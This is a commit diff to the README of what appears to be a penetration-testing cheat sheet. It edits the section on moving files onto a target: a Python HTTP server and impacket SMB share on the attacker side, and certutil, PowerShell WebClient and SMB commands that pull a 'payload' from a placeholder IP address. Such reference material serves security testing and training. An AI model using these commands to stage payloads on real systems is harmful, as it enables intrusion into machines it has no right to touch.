Update README.md
This commit is contained in:
14
README.md
14
README.md
@@ -1356,14 +1356,13 @@ username=admin$password=FUZZ
|
|||||||
# About: A python command used to open a server on the client machine
|
# About: A python command used to open a server on the client machine
|
||||||
# Download: Pre-installed on Kali Linux
|
# Download: Pre-installed on Kali Linux
|
||||||
|
|
||||||
# USAGE - Host on client machine
|
# Python Server
|
||||||
sudo python3 -m http.server {PORT}
|
sudo python3 -m http.server {PORT}
|
||||||
|
|
||||||
# {PORT}: Port to open for file transfer
|
|
||||||
|
|
||||||
|
|
||||||
# SMB SHARE
|
# SMB SHARE
|
||||||
impacket-smbserver temp $(pwd) -smb2support -user {USERNAME} -password {PASSWORD}
|
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share ./
|
||||||
|
|
||||||
|
# {PORT}: Port to open for file transfer
|
||||||
```
|
```
|
||||||
<br />
|
<br />
|
||||||
|
|
||||||
@@ -1394,10 +1393,7 @@ certutil -split -f -urlcache http://{IP ADDRESS}/{FILE}
|
|||||||
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')"
|
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')"
|
||||||
|
|
||||||
# SMB SHARE
|
# SMB SHARE
|
||||||
$pass = convertto-securestring '{PASSWORD}' -AsPlainText -Force
|
\\{IP ADDRESS}\share\{FILE}
|
||||||
$cred = New-Object System.Management.Automation.PSCredential('{USERNAME}', $pass)
|
|
||||||
New-PSDrive -Name tempdrive -PSProvider FileSystem -Credential $cred -Root \\{IP ADDRESS}\temp
|
|
||||||
cd tempdrive:
|
|
||||||
|
|
||||||
# {IP ADDRESS}: IP Address of the client from step one
|
# {IP ADDRESS}: IP Address of the client from step one
|
||||||
# {FILE}: The payload to be transferred
|
# {FILE}: The payload to be transferred
|
||||||
|
|||||||
Reference in New Issue
Block a user